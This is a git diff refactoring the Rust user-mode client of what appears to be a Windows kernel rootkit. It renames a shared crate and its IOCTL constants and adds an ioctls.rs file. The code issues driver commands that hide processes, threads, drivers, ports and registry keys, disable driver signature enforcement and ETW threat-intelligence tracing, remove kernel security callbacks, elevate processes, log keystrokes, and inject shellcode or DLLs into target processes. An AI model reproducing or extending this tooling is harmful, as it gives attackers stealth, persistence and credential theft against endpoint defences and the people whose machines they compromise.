tid, add, remove } => { if *add { - thread.protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, true); + thread.protection_thread(Some(tid), PROTECTION_THREAD, true); } else if *remove { - thread.protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false); + thread.protection_thread(Some(tid), PROTECTION_THREAD, false); } else { error!("No action provided"); } } ThreadCommands::Enumerate { list, type_ } => { if *list { - thread.enumerate_thread(IOCTL_ENUMERATION_THREAD, type_); + thread.enumerate_thread(ENUMERATION_THREAD, type_); } } } @@ -95,16 +95,16 @@ fn main() { let driver = Driver::new(); if *hide { match name { - Some(name) => driver.unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true), + Some(name) => driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, true), None => error!("No action provided for driver.") } } else if *unhide { match name { - Some(name) => driver.unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false), + Some(name) => driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, false), None => error!("No action provided for driver.") } } else if *list { - driver.enumerate_driver(IOCTL_ENUMERATE_DRIVER); + driver.enumerate_driver(ENUMERATE_DRIVER); } } @@ -113,19 +113,19 @@ fn main() { match sub_command { MisCommands::DSE { disable, enable } => { if *enable { - misc.dse(IOCTL_ENABLE_DSE, true); + misc.dse(ENABLE_DSE, true); } else if *disable { - misc.dse(IOCTL_ENABLE_DSE, false); + misc.dse(ENABLE_DSE, false); } } MisCommands::Keylogger { file } => { - misc.keylogger(IOCTL_KEYLOGGER, file); + misc.keylogger(KEYLOGGER, file); } MisCommands::Etwti { disable, enable } => { if *enable { - misc.etwti(IOCTL_ETWTI, true); + misc.etwti(ETWTI, true); } else if *disable { - misc.etwti(IOCTL_ETWTI, false); + misc.etwti(ETWTI, false); } } } @@ -134,9 +134,9 @@ fn main() { Commands::Port { hide, unhide, protocol, type_, port_number } => { let port = Port::new(); if *hide { - port.hide_unhide_port(IOCTL_PORT, *protocol, *type_, *port_number, true); + port.hide_unhide_port(PORT, *protocol, *type_, *port_number, true); } else if *unhide { - port.hide_unhide_port(IOCTL_PORT, *protocol, *type_, *port_number, false); + port.hide_unhide_port(PORT, *protocol, *type_, *port_number, false); } } @@ -149,25 +149,25 @@ fn main() { error!("Both add and remove options cannot be specified at the same time"); } else if *add { match name { - Some(ref name) => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_VALUE, name, key, true), - None => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_KEY, &"".to_string(), key, true), + Some(ref name) => registry.registry_protection(REGISTRY_PROTECTION_VALUE, name, key, true), + None => registry.registry_protection(REGISTRY_PROTECTION_KEY, &"".to_string(), key, true), } } else if *remove { match name { - Some(ref name) => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_VALUE, name, key, false), - None => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_KEY, &"".to_string(), key, false) + Some(ref name) => registry.registry_protection(REGISTRY_PROTECTION_VALUE, name, key, false), + None => registry.registry_protection(REGISTRY_PROTECTION_KEY, &"".to_string(), key, false) } } else { error!("Either add or remove must be specified"); } } RegistryCommands::Hide { key, value } => match value { - Some(ref value) => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, key, true), - None => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), key, true) + Some(ref value) => registry.registry_hide_unhide(HIDE_UNHIDE_VALUE, value, key, true), + None => registry.registry_hide_unhide(HIDE_UNHIDE_KEY, &"".to_string(), key, true) }, RegistryCommands::Unhide { key, value } => match value { - Some(ref value) => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, key, false), - None => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), key, false), + Some(ref value) => registry.registry_hide_unhide(HIDE_UNHIDE_VALUE, value, key, false), + None => registry.registry_hide_unhide(HIDE_UNHIDE_KEY, &"".to_string(), key, false), }, } } @@ -175,26 +175,26 @@ fn main() { Commands::Module { sub_command } => { let module = Module::new(); match sub_command { - ModuleCommands::Enumerate { pid } => module.enumerate_module(IOCTL_ENUMERATE_MODULE, pid), - ModuleCommands::Hide { name, pid } => module.hide_module(IOCTL_HIDE_MODULE, name, *pid), + ModuleCommands::Enumerate { pid } => module.enumerate_module(ENUMERATE_MODULE, pid), + ModuleCommands::Hide { name, pid } => module.hide_module(HIDE_MODULE, name, *pid), } } Commands::Callback {list, enumerate, remove, restore, callback} => { let callbacks = Callback::new(); if *list { - callbacks.enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback); + callbacks.enumerate_callback(ENUMERATE_CALLBACK, callback); return; } if *enumerate { - callbacks.enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback); + callbacks.enumerate_callback(ENUMERATE_REMOVED_CALLBACK, callback); return; } match (remove, restore) { - (Some(index), None) => callbacks.remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback), - (None, Some(index)) => callbacks.restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback), + (Some(index), None) => callbacks.remove_callback(*index, REMOVE_CALLBACK, callback), + (None, Some(index)) => callbacks.restore_callback(*index, RESTORE_CALLBACK, callback), (Some(_), Some(_)) => error!("Cannot remove and restore at the same time"), (None, None) => error!("No action provided for callback") } @@ -204,12 +204,12 @@ fn main() { let injection = Injection::new(); match sub_command { InjectionCommands::DLL { pid, path, type_ } => match type_ { - InjectionTypes::Thread => injection.injection_thread(IOCTL_INJECTION_DLL_THREAD, pid, path), - InjectionTypes::APC => injection.injection_apc(IOCTL_INJECTION_DLL_APC, pid, path), + InjectionTypes::Thread => injection.injection_thread(INJECTION_DLL_THREAD, pid, path), + InjectionTypes::APC => injection.injection_apc(INJECTION_DLL_APC, pid, path), }, InjectionCommands::Shellcode { pid, path, type_ } => match type_ { - InjectionTypes::Thread => injection.injection_thread(IOCTL_INJECTION_SHELLCODE_THREAD, pid, path), - InjectionTypes::APC => injection.injection_apc(IOCTL_INJECTION_SHELLCODE_APC, pid, path) + InjectionTypes::Thread => injection.injection_thread(INJECTION_SHELLCODE_THREAD, pid, path), + InjectionTypes::APC => injection.injection_apc(INJECTION_SHELLCODE_APC, pid, path) }, } } diff --git a/client/src/modules/callback.rs b/client/src/modules/callback.rs index 26e51cb..f4f8f3a 100644 --- a/client/src/modules/callback.rs +++ b/client/src/modules/callback.rs @@ -1,7 +1,7 @@ use { log::*, crate::{utils::Callbacks, utils::open_driver}, - shared::structs::{CallbackInfoInput, CallbackInfoOutput}, + common::structs::{CallbackInfoInput, CallbackInfoOutput}, std::{ffi::c_void, mem::size_of, ptr::null_mut}, windows_sys::Win32::{ System::IO::DeviceIoControl, @@ -14,7 +14,7 @@ pub struct Callback { impl Callback { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Callback { driver_handle } } diff --git a/client/src/modules/driver.rs b/client/src/modules/driver.rs index 4fb88cd..fa5cb59 100644 --- a/client/src/modules/driver.rs +++ b/client/src/modules/driver.rs @@ -2,7 +2,7 @@ use { crate::utils::open_driver, core::mem::size_of, log::*, - shared::structs::{DriverInfo, TargetDriver}, + common::structs::{DriverInfo, TargetDriver}, std::{ffi::c_void, ptr::null_mut}, windows_sys::Win32::{ System::IO::DeviceIoControl, @@ -16,7 +16,7 @@ pub struct Driver { impl Driver { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Driver { driver_handle } } diff --git a/client/src/modules/injection.rs b/client/src/modules/injection.rs index b14a3fa..fc99759 100644 --- a/client/src/modules/injection.rs +++ b/client/src/modules/injection.rs @@ -1,9 +1,9 @@ use { - crate::{utils::check_file, utils::open_driver}, core::ffi::c_void, - log::*, - shared::structs::TargetInjection, std::ptr::null_mut, + log::{info, error, debug}, + common::structs::TargetInjection, + crate::{utils::check_file, utils::open_driver}, windows_sys::Win32::{ Foundation::{CloseHandle, HANDLE}, System::IO::DeviceIoControl @@ -16,7 +16,7 @@ pub struct Injection { impl Injection { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Injection { driver_handle } } @@ -43,7 +43,7 @@ impl Injection { self.driver_handle, ioctl_code, &mut info_injection as *mut _ as *mut c_void, - std::mem::size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, @@ -81,7 +81,7 @@ impl Injection { self.driver_handle, ioctl_code, &mut info_injection as *mut _ as *mut c_void, - std::mem::size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, diff --git a/client/src/modules/memory.rs b/client/src/modules/memory.rs deleted file mode 100644 index f5465fe..0000000 --- a/client/src/modules/memory.rs +++ /dev/null @@ -1,27 +0,0 @@ -use std::ptr::null_mut; -use windows_sys::Win32::System::IO::DeviceIoControl; -use crate::modules::driver::open_driver; - -pub fn enumerate_pool(ioctl_code: u32) { - let h_file = open_driver().expect("Failed open driver"); - let status; - let mut return_buffer = 0; - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - null_mut(), - 0, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Enumerate Module start"); - } -} diff --git a/client/src/modules/misc.rs b/client/src/modules/misc.rs index 7146348..1a16294 100644 --- a/client/src/modules/misc.rs +++ b/client/src/modules/misc.rs @@ -1,6 +1,6 @@ use { - log::*, - shared::structs::{DSE, ETWTI}, + log::{info, debug, error}, + common::structs::{DSE, ETWTI}, crate::utils::{ vk_to_char, update_key_state, key_pressed, get_process_by_name, open_driver, @@ -33,7 +33,7 @@ pub struct Misc { impl Misc { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Misc { driver_handle } } diff --git a/client/src/modules/module.rs b/client/src/modules/module.rs index ae08ada..8730032 100644 --- a/client/src/modules/module.rs +++ b/client/src/modules/module.rs @@ -2,7 +2,7 @@ use { log::*, crate::utils::open_driver, std::{ffi::c_void, mem::size_of, ptr::null_mut}, - shared::structs::{ModuleInfo, TargetModule, TargetProcess}, + common::structs::{ModuleInfo, TargetModule, TargetProcess}, windows_sys::Win32::{ System::IO::DeviceIoControl, Foundation::{CloseHandle, GetLastError, HANDLE}, @@ -15,7 +15,7 @@ pub struct Module { impl Module { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Module { driver_handle } } @@ -24,7 +24,7 @@ impl Module { debug!("Preparing structure for pid: {pid}"); let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() }; - let mut input_module = TargetProcess { pid: *pid as usize }; + let mut input_module = TargetProcess { pid: *pid as usize, ..Default::default() }; debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}"); let mut return_buffer = 0; diff --git a/client/src/modules/port.rs b/client/src/modules/port.rs index 158f493..06864ac 100644 --- a/client/src/modules/port.rs +++ b/client/src/modules/port.rs @@ -1,6 +1,6 @@ use { log::*, - shared::structs::PortInfo, + common::structs::TargetPort, std::{ptr::null_mut, ffi::c_void}, crate::utils::{open_driver, PortType, Protocol}, windows_sys::Win32::{ @@ -15,12 +15,12 @@ pub struct Port { impl Port { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Port { driver_handle } } pub fn hide_unhide_port(self, ioctl_code: u32, protocol: Protocol, port_type: PortType, port_number: u16, enable: bool) { - let mut port_info = PortInfo { + let mut port_info = TargetPort { protocol: protocol.to_shared(), port_type: port_type.to_shared(), port_number, @@ -33,7 +33,7 @@ impl Port { self.driver_handle, ioctl_code, &mut port_info as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, diff --git a/client/src/modules/process.rs b/client/src/modules/process.rs index a18af41..3c6caba 100644 --- a/client/src/modules/process.rs +++ b/client/src/modules/process.rs @@ -5,12 +5,9 @@ use { utils::{open_driver, Options}, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE, }, - shared::{ + common::{ vars::MAX_PID, - structs::{ - EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, - ProcessSignature, TargetProcess - }, + structs::TargetProcess, }, windows_sys::Win32::{ System::IO::DeviceIoControl, @@ -24,7 +21,7 @@ pub struct Process { impl Process { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Process { driver_handle } } @@ -32,7 +29,7 @@ impl Process { if let Some(pid_value) = pid { info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value); let pid = *pid_value as usize; - let mut target_process = ProcessInfoHide { enable, pid }; + let mut target_process = TargetProcess { enable, pid, ..Default::default() }; let mut return_buffer = 0; let status = unsafe { @@ -40,7 +37,7 @@ impl Process { self.driver_handle, ioctl_code, &mut target_process as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, @@ -62,7 +59,7 @@ impl Process { if let Some(pid_value) = pid { info!("Preparing to terminate process: {}", pid_value); let pid = *pid_value as usize; - let mut target_process = TargetProcess { pid }; + let mut target_process = TargetProcess { pid, ..Default::default() }; let mut return_buffer = 0; let status = unsafe { @@ -93,7 +90,7 @@ impl Process { if let Some(pid_value) = pid { info!("Preparing to {} protection for process: {}", if enable { "enable" } else { "disable" }, pid_value); let pid = *pid_value as usize; - let mut target_process = shared::structs::ProcessProtection { pid, enable }; + let mut target_process = TargetProcess { pid, enable, ..Default::default() }; let mut return_buffer = 0; let status = unsafe { @@ -101,7 +98,7 @@ impl Process { self.driver_handle, ioctl_code, &mut target_process as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, @@ -120,9 +117,10 @@ impl Process { } pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) { - let mut info_process: [ProcessListInfo; MAX_PID] = unsafe { std::mem::zeroed() }; - let mut enumeration_input = EnumerateInfoInput { + let mut info_process: [TargetProcess; MAX_PID] = unsafe { std::mem::zeroed() }; + let mut enumeration_input = TargetProcess { options: option.to_shared(), + ..Default::default() }; let mut return_buffer = 0; @@ -131,9 +129,9 @@ impl Process { self.driver_handle, ioctl_code, &mut enumeration_input as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, info_process.as_mut_ptr() as *mut _, - (info_process.len() * size_of::()) as u32, + (info_process.len() * size_of::()) as u32, &mut return_buffer, null_mut(), ) @@ -142,12 +140,12 @@ impl Process { if status == 0 { error!("DeviceIoControl Failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - let total_process = return_buffer as usize / size_of::(); + let total_process = return_buffer as usize / size_of::(); info!("Total Processes: {}", total_process); println!("Listing Processes:"); for (i, process) in info_process.iter().enumerate().take(total_process) { - if process.pids > 0 { - println!("[{}] {}", i, process.pids); + if process.pid > 0 { + println!("[{}] {}", i, process.pid); } } } @@ -159,7 +157,7 @@ impl Process { let pid = *pid_value as usize; let sg = *sg as usize; let tp = *tp as usize; - let mut info_protection_process = ProcessSignature { pid, sg, tp }; + let mut info_protection_process = TargetProcess { pid, sg, tp, ..Default::default() }; let mut return_buffer = 0; let status = unsafe { @@ -167,7 +165,7 @@ impl Process { self.driver_handle, ioctl_code, &mut info_protection_process as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, @@ -187,7 +185,7 @@ impl Process { if let Some(pid_value) = pid { info!("Preparing to elevate process: {}", pid_value); let pid = *pid_value as usize; - let mut target_process = TargetProcess { pid }; + let mut target_process = TargetProcess { pid, ..Default::default() }; let mut return_buffer = 0; let status = unsafe { diff --git a/client/src/modules/registry.rs b/client/src/modules/registry.rs index 1edc5cf..c0d249c 100644 --- a/client/src/modules/registry.rs +++ b/client/src/modules/registry.rs @@ -1,7 +1,7 @@ use { crate::utils::open_driver, log::*, - shared::structs::TargetRegistry, + common::structs::TargetRegistry, std::{ffi::c_void, ptr::null_mut}, windows_sys::Win32::{ System::IO::DeviceIoControl, @@ -15,7 +15,7 @@ pub struct Registry { impl Registry { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Registry { driver_handle } } diff --git a/client/src/modules/thread.rs b/client/src/modules/thread.rs index fcaaa47..70fdf74 100644 --- a/client/src/modules/thread.rs +++ b/client/src/modules/thread.rs @@ -1,8 +1,8 @@ use { crate::utils::{open_driver, Options}, log::*, - shared::{ - structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, + common::{ + structs::TargetThread, vars::MAX_TID, }, std::{ffi::c_void, mem::size_of, ptr::null_mut}, @@ -18,7 +18,7 @@ pub struct Thread { impl Thread { pub fn new() -> Self { - let driver_handle = open_driver().expect("Failed to open driver"); + let driver_handle = open_driver().expect("Error"); Thread { driver_handle } } @@ -28,7 +28,7 @@ impl Thread { debug!("Preparing structure for TID: {}", tid_value); let mut return_buffer = 0; let tid = *tid_value as usize; - let mut target_thread = TargetThread { tid, enable }; + let mut target_thread = TargetThread { tid, enable, ..Default::default() }; debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" }); let status = unsafe { @@ -61,7 +61,7 @@ impl Thread { debug!("Preparing structure for TID: {}", tid_value); let mut return_buffer = 0; let tid = *tid_value as usize; - let mut target_thread = shared::structs::ThreadProtection { tid, enable }; + let mut target_thread = TargetThread { tid, enable, ..Default::default() }; debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" }); let status = unsafe { @@ -69,7 +69,7 @@ impl Thread { self.driver_handle, ioctl_code, &mut target_thread as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, null_mut(), 0, &mut return_buffer, @@ -89,9 +89,10 @@ impl Thread { pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) { debug!("Attempting to open the driver for thread enumeration"); - let mut info_thread: [ThreadListInfo; MAX_TID] = unsafe { std::mem::zeroed() }; - let mut enumeration_input = EnumerateInfoInput { + let mut info_thread: [TargetThread; MAX_TID] = unsafe { std::mem::zeroed() }; + let mut enumeration_input = TargetThread { options: option.to_shared(), + ..Default::default() }; debug!("Sending DeviceIoControl command to enumerate threads"); @@ -101,9 +102,9 @@ impl Thread { self.driver_handle, ioctl_code, &mut enumeration_input as *mut _ as *mut c_void, - size_of::() as u32, + size_of::() as u32, info_thread.as_mut_ptr() as *mut _, - (info_thread.len() * size_of::()) as u32, + (info_thread.len() * size_of::()) as u32, &mut return_buffer, null_mut(), ) @@ -112,11 +113,11 @@ impl Thread { if status == 0 { error!("DeviceIoControl Failed with status: 0x{:08X}", status); } else { - let total_threads = return_buffer as usize / size_of::(); + let total_threads = return_buffer as usize / size_of::(); info!("Total Threads: {}", total_threads); for (i, thread) in info_thread.iter().enumerate().take(total_threads) { - if thread.tids > 0 { - info!("[{}] {}", i, info_thread[i].tids); + if thread.tid > 0 { + info!("[{}] {}", i, info_thread[i].tid); } } } diff --git a/client/src/utils/mod.rs b/client/src/utils/mod.rs index e45c03c..e1db79c 100644 --- a/client/src/utils/mod.rs +++ b/client/src/utils/mod.rs @@ -52,7 +52,7 @@ pub fn check_file(file: &String) -> bool { /// - `Ok(HANDLE)` if the driver handle is successfully opened. /// - `Err(())` if there is an error. /// -pub fn open_driver() -> Result { +pub fn open_driver() -> Result { info!("Opening driver handle"); let h_file = unsafe { @@ -63,13 +63,13 @@ pub fn open_driver() -> Result { null_mut(), OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, - 0, + null_mut(), ) }; if h_file == INVALID_HANDLE_VALUE { - error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() }); - return Err(()); + error!("CreateFileW failed with error: {}", unsafe { GetLastError() }); + return Err("Failed to open the driver."); } info!("Driver handle successfully opened"); @@ -172,16 +172,16 @@ impl Callbacks { /// /// # Returns /// - /// A `shared::enums::Callbacks` variant corresponding to the selected callback. + /// A `common::enums::Callbacks` variant corresponding to the selected callback. /// - pub fn to_shared(self) -> shared::enums::Callbacks { + pub fn to_shared(self) -> common::enums::Callbacks { match self { - Callbacks::Process => shared::enums::Callbacks::PsSetCreateProcessNotifyRoutine, - Callbacks::Thread => shared::enums::Callbacks::PsSetCreateThreadNotifyRoutine, - Callbacks::LoadImage => shared::enums::Callbacks::PsSetLoadImageNotifyRoutine, - Callbacks::Registry => shared::enums::Callbacks::CmRegisterCallbackEx, - Callbacks::ObProcess => shared::enums::Callbacks::ObProcess, - Callbacks::ObThread => shared::enums::Callbacks::ObThread, + Callbacks::Process => common::enums::Callbacks::PsSetCreateProcessNotifyRoutine, + Callbacks::Thread => common::enums::Callbacks::PsSetCreateThreadNotifyRoutine, + Callbacks::LoadImage => common::enums::Callbacks::PsSetLoadImageNotifyRoutine, + Callbacks::Registry => common::enums::Callbacks::CmRegisterCallbackEx, + Callbacks::ObProcess => common::enums::Callbacks::ObProcess, + Callbacks::ObThread => common::enums::Callbacks::ObThread, } } } @@ -201,13 +201,13 @@ impl Options { /// /// # Returns /// - /// A `shared::enums::Options` variant corresponding to the selected option. + /// A `common::enums::Options` variant corresponding to the selected option. /// - pub fn to_shared(self) -> shared::enums::Options { + pub fn to_shared(self) -> common::enums::Options { match self { - Options::Hide => shared::enums::Options::Hide, + Options::Hide => common::enums::Options::Hide, #[cfg(not(feature = "mapper"))] - Options::Protection => shared::enums::Options::Protection, + Options::Protection => common::enums::Options::Protection, } } } @@ -226,12 +226,12 @@ impl Protocol { /// /// # Returns /// - /// A `shared::enums::Protocol` variant corresponding to the selected protocol. + /// A `common::enums::Protocol` variant corresponding to the selected protocol. /// - pub fn to_shared(self) -> shared::enums::Protocol { + pub fn to_shared(self) -> common::enums::Protocol { match self { - Protocol::TCP => shared::enums::Protocol::TCP, - Protocol::UDP => shared::enums::Protocol::UDP, + Protocol::TCP => common::enums::Protocol::TCP, + Protocol::UDP => common::enums::Protocol::UDP, } } } @@ -250,12 +250,12 @@ impl PortType { /// /// # Returns /// - /// A `shared::enums::PortType` variant corresponding to the selected port type. + /// A `common::enums::PortType` variant corresponding to the selected port type. /// - pub fn to_shared(self) -> shared::enums::PortType { + pub fn to_shared(self) -> common::enums::PortType { match self { - PortType::LOCAL => shared::enums::PortType::LOCAL, - PortType::REMOTE => shared::enums::PortType::REMOTE, + PortType::LOCAL => common::enums::PortType::LOCAL, + PortType::REMOTE => common::enums::PortType::REMOTE, } } } diff --git a/shared/Cargo.toml b/crates/common/Cargo.toml similarity index 92% rename from shared/Cargo.toml rename to crates/common/Cargo.toml index 301b3d3..9e7bd3d 100644 --- a/shared/Cargo.toml +++ b/crates/common/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "shared" +name = "common" version = "0.1.0" edition = "2021" diff --git a/shared/src/enums.rs b/crates/common/src/enums.rs similarity index 98% rename from shared/src/enums.rs rename to crates/common/src/enums.rs index 51847ad..c1ab036 100644 --- a/shared/src/enums.rs +++ b/crates/common/src/enums.rs @@ -28,9 +28,10 @@ pub enum Callbacks { /// /// These options represent different modes or actions that can be applied to a process /// or thread, such as hiding it or enabling protection mechanisms. -#[derive(Debug)] +#[derive(Debug, Default)] pub enum Options { /// Option to hide the process or thread. + #[default] Hide, /// Option to apply protection to the process or thread. diff --git a/crates/common/src/ioctls.rs b/crates/common/src/ioctls.rs new file mode 100644 index 0000000..4ac2473 --- /dev/null +++ b/crates/common/src/ioctls.rs @@ -0,0 +1,61 @@ +const FILE_DEVICE_UNKNOWN: u32 = 34; +const METHOD_NEITHER: u32 = 3; +const METHOD_BUFFERED: u32 = 0; +const FILE_ANY_ACCESS: u32 = 0; + +macro_rules! CTL_CODE { + ($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => { + ($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method + }; +} + +// Process +pub const ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Thread +pub const PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Driver +pub const HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS); + +// DSE +pub const ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Keylogger +pub const KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS); + +// ETWTI +pub const ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); + +// PORT +pub const HIDE_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Callbacks +pub const ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Registry +pub const REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Module +pub const ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); + +// Injection +pub const INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x828, METHOD_NEITHER, FILE_ANY_ACCESS); diff --git a/shared/src/lib.rs b/crates/common/src/lib.rs similarity index 100% rename from shared/src/lib.rs rename to crates/common/src/lib.rs diff --git a/crates/common/src/structs.rs b/crates/common/src/structs.rs new file mode 100644 index 0000000..51056c7 --- /dev/null +++ b/crates/common/src/structs.rs @@ -0,0 +1,287 @@ +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] + +use core::sync::atomic::AtomicPtr; +use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; +use crate::enums::{ + Callbacks, Options, + PortType, Protocol +}; + +/// Custom implementation of the `LIST_ENTRY` structure. +/// +/// This struct represents a doubly linked list entry, commonly used in low-level +/// systems programming, especially in Windows kernel structures. It contains +/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list. +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct LIST_ENTRY { + /// A pointer to the next entry in the list. + pub Flink: *mut LIST_ENTRY, + + /// A pointer to the previous entry in the list. + pub Blink: *mut LIST_ENTRY, +} + +/// Represents the state of ETWTI (Event Tracing for Windows Thread Information). +/// +/// This struct manages whether ETWTI is enabled or disabled for capturing thread +/// information. The `enable` field controls the activation of this feature. 